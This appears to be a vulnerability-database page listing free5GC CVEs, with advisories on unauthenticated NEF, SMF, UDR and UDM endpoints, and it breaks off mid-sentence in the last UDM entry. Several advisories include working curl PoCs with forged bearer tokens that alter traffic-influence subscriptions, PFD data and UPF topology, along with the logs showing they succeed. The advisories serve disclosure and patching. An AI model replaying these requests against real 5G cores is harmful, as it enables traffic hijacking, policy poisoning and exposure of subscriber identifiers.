Vendor
Free5gc
Products
5
CVEs
47
Across products
50
Status
Private
Products
5- 39 CVEs
- 4 CVEs
- 3 CVEs
- 2 CVEs
- 2 CVEs
Recent CVEs
47| CVE | Sev | Risk | CVSS | EPSS | KEV | Published | Description |
|---|---|---|---|---|---|---|---|
| CVE-2026-44330 | cri | 0.59 | — | — | May 8, 2026 | ### Summary free5GC's NEF mounts the `nnef-pfdmanagement` route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can use a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`) to read PFD application data via `GET /applications` and `GET /applications/{appID}`, and to create or delete PFD change-notification subscriptions via `POST /subscriptions` and `DELETE /subscriptions/{subID}`. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. Unlike the OAM and traffic-influence groups, `nnef-pfdmanagement` IS declared in the runtime `ServiceList`, so this is the production-intended path that operators expect to be protected by `OAuth2 setting receive from NRF: true` -- and it is not. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, but the entire `nnef-pfdmanagement` route group is mounted with no inbound auth middleware, so forged-token requests reach the read and subscription handlers and execute against UDR-backed state. Code evidence (paths in `free5gc/nef`): - Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:56` - Read routes exposed at `/applications` and `/applications/:appID`: `NFs/nef/internal/sbi/api_pfdf.go:13` - Subscription routes exposed at `/subscriptions` and `/subscriptions/:subID`: `NFs/nef/internal/sbi/api_pfdf.go:13` - `GET /applications` queries UDR for application PFD data: `NFs/nef/internal/sbi/processor/pfdf.go:19` - `GET /applications/:appID` queries UDR for an application PFD: `NFs/nef/internal/sbi/processor/pfdf.go:53` - `POST /subscriptions` only checks `notifyUri` is present, then stores the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:83` - `DELETE /subscriptions/:subID` removes the subscription: `NFs/nef/internal/sbi/processor/pfdf.go:110` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token. 1. Seed an AF context (also forged-token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-pfdf-read","afAppId":"app-seed-pfdf-read","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.41 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-pfdf-read","routeInfo":{"ipv4Addr":"10.60.0.3","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfdf-read-20260311/subscriptions ``` 2. Seed one PFD application entry (also forged-token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfdf-read-20260311":{"externalAppId":"app-poc-pfdf-read-20260311","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://pfdf-read.example.com(/\\\\S*)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfdf-read-20260311/transactions ``` 3. READ PFD collection with forged token -> `200 OK` returns PFD data: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ 'http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications?application-ids=app-poc-pfdf-read-20260311' ``` 4. READ individual PFD with forged token -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/applications/app-poc-pfdf-read-20260311 ``` 5. CREATE PFD subscription with forged token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"applicationIds":["app-poc-sub1","app-poc-sub2"],"notifyUri":"http://127.0.0.1:65530/pfd-notify"}' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions ``` 6. DELETE PFD subscription with forged token -> `204 No Content`: ``` curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/nnef-pfdmanagement/v1/subscriptions/1 ``` NEF container logs (`docker logs nef`) show requests reaching business handlers and returning success codes: ``` [INFO][NEF][PFDF] GetApplicationsPFD - appIDs: [app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications?application-ids=... [INFO][NEF][PFDF] GetIndividualApplicationPFD - appID[app-poc-pfdf-read-20260311] [INFO][NEF][GIN] | 200 | GET | /nnef-pfdmanagement/v1/applications/... [INFO][NEF][PFDF] PostPFDSubscriptions - appIDs: [app-poc-sub1 app-poc-sub2] [INFO][NEF][GIN] | 201 | POST | /nnef-pfdmanagement/v1/subscriptions [INFO][NEF][PFDF] DeleteIndividualPFDSubscription - subID[1] [INFO][NEF][GIN] | 204 | DELETE | /nnef-pfdmanagement/v1/subscriptions/1 ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `nnef-pfdmanagement` SBI route group. This is the production-intended PFD service for NEF (declared in the runtime `ServiceList`), so operators expect it to be protected by NRF-issued OAuth2 -- and it is not. Any party that can reach NEF on the SBI can: - Read AF-supplied PFD application data anonymously, leaking traffic-classification policy (URL regex patterns, application identifiers) used downstream by SMF/UPF. - Create attacker-controlled PFD change-notification subscriptions pointing at attacker-chosen `notifyUri` endpoints, turning NEF into an unauthenticated outbound HTTP request source on whatever applications the attacker subscribes to. - Delete legitimate PFD subscriptions, denying change notifications to legitimate consumers and breaking downstream PFD-update propagation. The defect is route-group-scoped: there is no auth middleware on the group at all, so every read and subscription endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's full capability surface. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/862 Upstream fix: https://github.com/free5gc/nef/pull/23 | |
| CVE-2026-44327 | cri | 0.59 | — | — | May 8, 2026 | ### Summary free5GC's NEF mounts the `nnef-oam` route group without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can hit the OAM route with no `Authorization` header at all and the handler returns `200 OK`. The current OAM handler is a stub that returns `null`, but the structural defect is route-group-scoped: the entire OAM route group has no inbound auth middleware, so every future OAM operation added to this group inherits the missing auth boundary by default. Same root cause as the NEF traffic-influence and PFD-management findings. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, yet the OAM route group is mounted without any inbound auth middleware and answers unauthenticated `GET`s with `200 OK`. Code evidence (paths in `free5gc/nef`): - OAM route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:60` - OAM route exposed at `/`: `NFs/nef/internal/sbi/api_oam.go:9` - OAM processor returns `200 OK` directly: `NFs/nef/internal/sbi/processor/oam.go:9` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` ### PoC Reproduced against the running NEF at `http://10.100.200.19:8000` with no `Authorization` header: ``` curl -i http://10.100.200.19:8000/nnef-oam/v1/ ``` Observed output: ``` HTTP/1.1 200 OK null ``` NEF container logs (`docker logs nef`) show the request being served while OAuth is enabled: ``` [INFO][NEF][GIN] | 200 | GET | /nnef-oam/v1/ ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the NEF OAM SBI route group. Severity is scored against the OAM route group's intended capability surface (Operations / Administration / Maintenance), NOT against the current stub handler. The current handler is a stub that returns `null`, but the defect is route-group-scoped: there is no auth middleware on the group at all, so every future OAM operation added behind this group inherits the missing inbound auth boundary by default. Any party that can reach NEF on the SBI can: - Probe and enumerate the OAM route surface anonymously today. - Hit any future OAM-group endpoint (read, modify, restart-style operations) anonymously, because the auth boundary does not exist for this group. Operators who assume `OAuth2 setting receive from NRF: true` enforces inbound auth on NEF are wrong for this route group. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/861 Upstream fix: https://github.com/free5gc/nef/pull/23 | |
| CVE-2026-44326 | cri | 0.59 | — | — | May 8, 2026 | ### Summary free5GC's NEF mounts the `3gpp-traffic-influence` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no `Authorization` header at all, or with a forged bearer token (e.g. `Authorization: Bearer not-a-real-token`). This includes creating `AnyUeInd=true` subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed. This is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-traffic-influence` route group is mounted and reachable with no inbound auth middleware. Code evidence (paths in `free5gc/nef`): - Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:48` - CRUD routes exposed at `/:afID/subscriptions` and `/:afID/subscriptions/:subID`: `NFs/nef/internal/sbi/api_ti.go:13` - POST allocates AF/subscription state and writes traffic-influence data: `NFs/nef/internal/sbi/processor/ti.go:50` - PATCH looks up and updates the subscription, then calls UDR/PCF: `NFs/nef/internal/sbi/processor/ti.go:279` - DELETE looks up and removes the subscription: `NFs/nef/internal/sbi/processor/ti.go:355` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` - Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000`. 1. CREATE subscription with NO `Authorization` header at all -> `201 Created`: ``` curl -i \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions ``` 2. CREATE second subscription with FORGED bearer token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions ``` 3. READ with forged token -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` 4. PATCH with forged token -> `500 Query to UDR failed` (still reaches business logic, not 401/403, so auth bypass confirmed): ``` curl -i -X PATCH \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc-updated"}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` 5. DELETE with forged token -> `204 No Content`: ``` curl -i -X DELETE \ -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 ``` NEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403): ``` [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-high/subscriptions [INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 500 | PATCH | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1 [INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth] [INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can: - Create attacker-controlled traffic-influence subscriptions (including `AnyUeInd=true` group/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF. - Read existing AF subscriptions, leaking traffic-steering policy data. - Patch existing subscriptions, modifying live traffic-steering decisions for legitimate AFs. - Delete subscriptions, denying service to legitimately provisioned traffic influence. The traffic-influence route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/859 Upstream fix: https://github.com/free5gc/nef/pull/23 | |
| CVE-2026-44315 | cri | 0.59 | — | — | May 8, 2026 | ### Summary free5GC's NEF mounts the `3gpp-pfd-management` API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`). The route group is also reachable even when the running config's `ServiceList` does not declare it, so operators who think they disabled the service via config are still exposed. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.0` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, and its `ServiceList` only declares `nnef-pfdmanagement` and `nnef-oam`. Despite that, the `3gpp-pfd-management` route group is mounted and reachable with no inbound auth middleware. Code evidence (paths in `free5gc/nef`): - Route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:52` - Transaction routes exposed at `/:scsAsID/transactions` and `/:scsAsID/transactions/:transID`: `NFs/nef/internal/sbi/api_pfd.go:13` - Create handler still contains `// TODO: Authorize the AF`: `NFs/nef/internal/sbi/processor/pfd.go:70` - POST allocates a new PFD transaction and writes to UDR: `NFs/nef/internal/sbi/processor/pfd.go:63` - GET reads transaction state: `NFs/nef/internal/sbi/processor/pfd.go:189` - DELETE removes transaction state: `NFs/nef/internal/sbi/processor/pfd.go:328` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` - Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token. 1. Seed an AF context (also accepted with forged token): ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"afServiceId":"svc-seed2","afAppId":"app-seed2","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.31 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-seed2","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \ http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions ``` 2. CREATE PFD transaction with forged token -> `201 Created`: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"app-poc-pfd2":{"externalAppId":"app-poc-pfd2","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://poc.example.com(/\\\\S*)?$"]}}}}}' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions ``` 3. READ -> `200 OK`: ``` curl -i -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` 4. DELETE -> `204 No Content`: ``` curl -i -X DELETE -H 'Authorization: Bearer not-a-real-token' \ http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` 5. READ again -> `404 PFD transaction not found`, confirming state was actually deleted. NEF container logs (`docker logs nef`) show the requests reaching business handlers and returning success codes: ``` [INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2] [INFO][NEF][GIN] | 201 | POST | /3gpp-pfd-management/v1/af-poc-pfd2/transactions [INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 200 | GET | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 [INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1] [INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1 ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can: - Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification. - Read existing PFD transactions, leaking AF-supplied policy data. - Delete PFD transactions, denying service to legitimately provisioned application detection rules. The PFD-management route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc <=v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/858 Upstream fix: https://github.com/free5gc/nef/pull/23 | |
| CVE-2026-44329 | cri | 0.52 | — | — | May 8, 2026 | ### Summary free5GC's SMF mounts the `UPI` management route group without OAuth2/bearer-token authorization middleware. A network attacker who can reach SMF on the SBI can hit `UPI` endpoints with no `Authorization` header at all, and the requests reach the SMF business handlers. In the running Docker lab this was directly demonstrated for read (`GET /upi/v1/upNodesLinks`), write (`POST /upi/v1/upNodesLinks` with attacker-controlled UP-node and link payload), and delete (`DELETE /upi/v1/upNodesLinks/{nodeID}`) operations. The defect is route-group-scoped: there is no inbound auth middleware on the UPI group at all, while a control comparison against the sibling `nsmf-oam` group on the same SMF instance shows OAM IS protected (no-token request returns `401 Unauthorized`). So this is not a global config gap -- it is specifically that the UPI group was mounted without the auth middleware that the OAM group has. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.0` - Docker validation date: 2026-03-13 Control comparison on the same SMF instance: - `GET /upi/v1/upNodesLinks` (no token) -> `200 OK` - `GET /nsmf-oam/v1/` (no token) -> `401 Unauthorized` This side-by-side proves OAuth2 middleware is wired in for `nsmf-oam` but not for `UPI` on the same process. Code evidence (paths in `free5gc/smf`): - UPI group mounted WITHOUT auth middleware: `NFs/smf/internal/sbi/server.go:76` - OAM group mounted WITH auth middleware (control): `NFs/smf/internal/sbi/server.go:95` - UPI business handlers (read / write / delete on `upNodesLinks`): - `NFs/smf/internal/sbi/api_upi.go:44` - `NFs/smf/internal/sbi/api_upi.go:60` - `NFs/smf/internal/sbi/api_upi.go:84` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. READ UP-nodes/links with NO `Authorization` header -> `200 OK`: ``` curl -i http://10.100.200.6:8000/upi/v1/upNodesLinks ``` 2. WRITE: POST attacker-controlled UPF node and link with NO `Authorization` header -> `200 OK`: ``` curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-POC-20260313","weight":1}],"upNodes":{"UPF-POC-20260313":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet"}]}]}}}' ``` 3. DELETE with FORGED token -> `404 Not Found` from business logic (auth was bypassed; the 404 is a business response, not an auth rejection): ``` curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/UPF-POC-20260313 \ -H 'Authorization: Bearer not-a-real-token' ``` 4. CONTROL: same instance, sibling OAM route, no token -> `401 Unauthorized`: ``` curl -i http://10.100.200.6:8000/nsmf-oam/v1/ ``` SMF container logs (`docker logs smf`) confirm the side-by-side behavior: ``` [INFO][SMF][GIN] | 200 | GET | /upi/v1/upNodesLinks [INFO][SMF][GIN] | 401 | GET | /nsmf-oam/v1/ [INFO][SMF][GIN] | 404 | DELETE | /upi/v1/upNodesLinks/UPF-POC-20260313 [INFO][SMF][GIN] | 200 | POST | /upi/v1/upNodesLinks ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the SMF `UPI` SBI route group. Severity is scored against the route group's intended capability surface (UP-node and link topology management), which is realized by the demonstrated PoC: an unauthenticated network attacker can already today read SMF's view of the UP-plane topology, inject attacker-controlled UPF nodes and link entries, and target deletions of named entries. Any party that can reach SMF on the SBI can: - Read SMF's current UP-node and link topology view anonymously. - Inject attacker-controlled UPF entries (with attacker-chosen nodeID / addr / S-NSSAI / DNN), poisoning SMF's view of which UPFs serve which slices/DNNs and biasing subsequent UPF selection / PFCP path establishment for legitimate PDU sessions. - Issue topology delete operations against named UPF entries, denying or disrupting legitimate UPF participation in SMF's selection logic. The defect is route-group-scoped: there is no auth middleware on the UPI group at all, so every UPI endpoint inside this group inherits the missing inbound auth boundary, and the same-instance OAM control proves this is the UPI mount specifically (not a global SMF config issue). Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/887 Upstream fix: https://github.com/free5gc/smf/pull/197 | |
| CVE-2026-40248 | Hig | 0.49 | 7.5 | 0.00 | Apr 16, 2026 | free5GC is an open-source implementation of the 5G core network. In versions 4.2.1 and below of the UDR service, the handler for creating or updating Traffic Influence Subscriptions checks whether the influenceId path segment equals subs-to-notify, but does not return after sending the HTTP 404 response when validation fails. Execution continues and the subscription is created or overwritten regardless. An unauthenticated attacker with access to the 5G Service Based Interface can create or overwrite arbitrary Traffic Influence Subscriptions, including injecting attacker-controlled notificationUri values and arbitrary SUPIs, by supplying any value for the influenceId path segment. A patched version was not available at the time of publication. | |
| CVE-2026-40247 | Hig | 0.49 | 7.5 | 0.00 | Apr 16, 2026 | free5GC is an open-source implementation of the 5G core network. In versions 4.2.1 and below of the UDR service, the handler for reading Traffic Influence Subscriptions checks whether the influenceId path segment equals subs-to-notify, but does not return after sending the HTTP 404 response when validation fails. Execution continues and the subscription data is returned alongside the 404 response. An unauthenticated attacker with access to the 5G Service Based Interface can read arbitrary Traffic Influence Subscriptions, including SUPIs/IMSIs, DNNs, S-NSSAIs, and callback URIs, by supplying any value for the influenceId path segment. A patched version was not available at the time of publication. | |
| CVE-2026-40246 | Hig | 0.49 | 7.5 | 0.00 | Apr 16, 2026 | free5GC is an open-source implementation of the 5G core network. In versions 1.4.2 and below of the UDR service, the handler for deleting Traffic Influence Subscriptions checks whether the influenceId path segment equals subs-to-notify, but does not return after sending the HTTP 404 response when validation fails. Execution continues and the subscription is deleted regardless. An unauthenticated attacker with access to the 5G Service Based Interface can delete arbitrary Traffic Influence Subscriptions by supplying any value for the influenceId path segment, while the API misleadingly returns a 404 Not Found response. A patched version was not available at the time of publication. | |
| CVE-2026-40245 | Hig | 0.49 | 7.5 | 0.00 | Apr 16, 2026 | Free5GC is an open-source Linux Foundation project for 5th generation (5G) mobile core networks. Versions 4.2.1 and below contain an information disclosure vulnerability in the UDR (Unified Data Repository) service. The handler for GET /nudr-dr/v2/application-data/influenceData/subs-to-notify sends an HTTP 400 error response when required query parameters are missing but does not return afterward. Execution continues into the processor function, which queries the data repository and appends the full list of Traffic Influence Subscriptions, including SUPI/IMSI values, to the response body. An unauthenticated attacker with network access to the 5G Service Based Interface can retrieve stored subscriber identifiers with a single parameterless HTTP GET request. The SUPI is the most sensitive subscriber identifier in 5G networks, and its exposure undermines the privacy guarantees of the 3GPP SUCI concealment mechanism at the core network level. A similar bypass exists when sending a malformed snssai parameter due to the same missing return pattern. | |
| CVE-2026-44320 | hig | 0.45 | — | — | May 8, 2026 | ### Summary free5GC's NEF mounts the `nnef-callback` route group without inbound OAuth2/bearer-token authorization. A forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`) is enough to reach the SMF-callback handler -- the callback body is parsed and dispatched into NEF business logic instead of being rejected at the auth boundary. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. NEF does not authenticate the producer NF identity before processing callback content; if an attacker can guess or obtain a valid `NotifId`, this missing auth boundary lets forged callbacks act on real subscription state. The route group is also reachable even when the runtime `ServiceList` does not declare it (it lists only `nnef-pfdmanagement` and `nnef-oam`). ### Details Validated against the NEF container in the official Docker compose lab. - Running Docker image: `free5gc/nef:v4.2.1` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, yet the `nnef-callback` route group is mounted with no inbound auth middleware. The API layer reads the raw request body and deserializes it before any auth check, then the processor looks up subscription state by `NotifId`. Code evidence (paths in `free5gc/nef`): - Callback route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:64` - Callback route exposed at `/notification/smf`: `NFs/nef/internal/sbi/api_callback.go:13` - API layer reads raw request bytes and deserializes them before any auth check: `NFs/nef/internal/sbi/api_callback.go:23` - Processor looks up the subscription by `NotifId`: `NFs/nef/internal/sbi/processor/callback.go:13` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` - Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126` ### PoC Reproduced against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token. Send a forged callback request: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"notifId":"forged-notif","eventNotifs":[]}' \ http://10.100.200.19:8000/nnef-callback/v1/notification/smf ``` Observed output: ``` HTTP/1.1 404 Not Found {"title":"Data not found","status":404,"detail":"Subscription is not found"} ``` The `404` is positive auth-bypass evidence: the request was parsed and dispatched into the callback business handler instead of being rejected at the auth boundary. NEF container logs (`docker logs nef`) confirm the callback handler was reached: ``` [INFO][NEF][TraffInfl] SmfNotification - NotifId[forged-notif] [INFO][NEF][GIN] | 404 | POST | /nnef-callback/v1/notification/smf ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the NEF `nnef-callback` SBI route group. This is the trusted ingestion point for SMF -> NEF notifications. The defect is route-group-scoped: there is no auth middleware on the group at all, so every callback endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's intended capability surface (consume SMF notifications and mutate NEF / downstream subscription state), NOT against the specific PoC where the chosen `NotifId` happened to be invalid. Any party that can reach NEF on the SBI can: - Submit forged SMF callbacks to NEF anonymously, with body content fully controlled by the attacker. - Reach NEF callback business logic without proving producer NF identity, so any attacker who can guess or obtain a valid `NotifId` can deliver forged event notifications against real subscription state -- corrupting AF traffic-influence / PFD-management subscription views and the downstream SMF/UPF policy decisions that depend on them. - Hit any future callback added behind this same route group anonymously, because the auth boundary does not exist for this group. The `nnef-callback` route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/860 Upstream fix: https://github.com/free5gc/nef/pull/24 | |
| CVE-2026-42459 | hig | 0.45 | — | — | May 7, 2026 | ## Summary The free5GC UDM component fails to validate the `supi` path parameter in six GET handlers of the `nudm-sdm` (Subscriber Data Management) service. An unauthenticated attacker can inject control characters into the SUPI parameter, causing UDM to forward a malformed request to UDR and return a `500 Internal Server Error` response that exposes internal infrastructure details. ## Affected Package - **Ecosystem**: Go - **Package**: `github.com/free5gc/udm` - **Affected versions**: `<= v1.4.2` - **Patched versions**: none yet ## Details The following handlers in `internal/sbi/api_subscriberdatamanagement.go` do not call `validator.IsValidSupi()` before passing the `supi` parameter to the processor: - `HandleGetSmfSelectData` — `GET /:supi/smf-select-data` - `HandleGetSupi` — `GET /:supi` - `HandleGetTraceData` — `GET /:supi/trace-data` - `HandleGetUeContextInSmfData` — `GET /:supi/ue-context-in-smf-data` - `HandleGetNssai` — `GET /:supi/nssai` - `HandleGetSmData` — `GET /:supi/sm-data` By contrast, `HandleGetAmData` in the same file correctly validates the `supi` parameter: ```go // HandleGetAmData — correctly validates (not vulnerable) supi := c.Params.ByName("supi") if !validator.IsValidSupi(supi) { c.JSON(http.StatusBadRequest, problemDetail) return } // HandleGetSmfSelectData — missing validation (vulnerable) supi := c.Params.ByName("supi") // ← no validator.IsValidSupi(supi) call s.Processor().GetSmfSelectDataProcedure(c, supi, plmnID, supportedFeatures) ``` The malformed `supi` is passed to the processor which constructs a URL to forward the request to UDR. Go's `net/url` parser rejects the URL 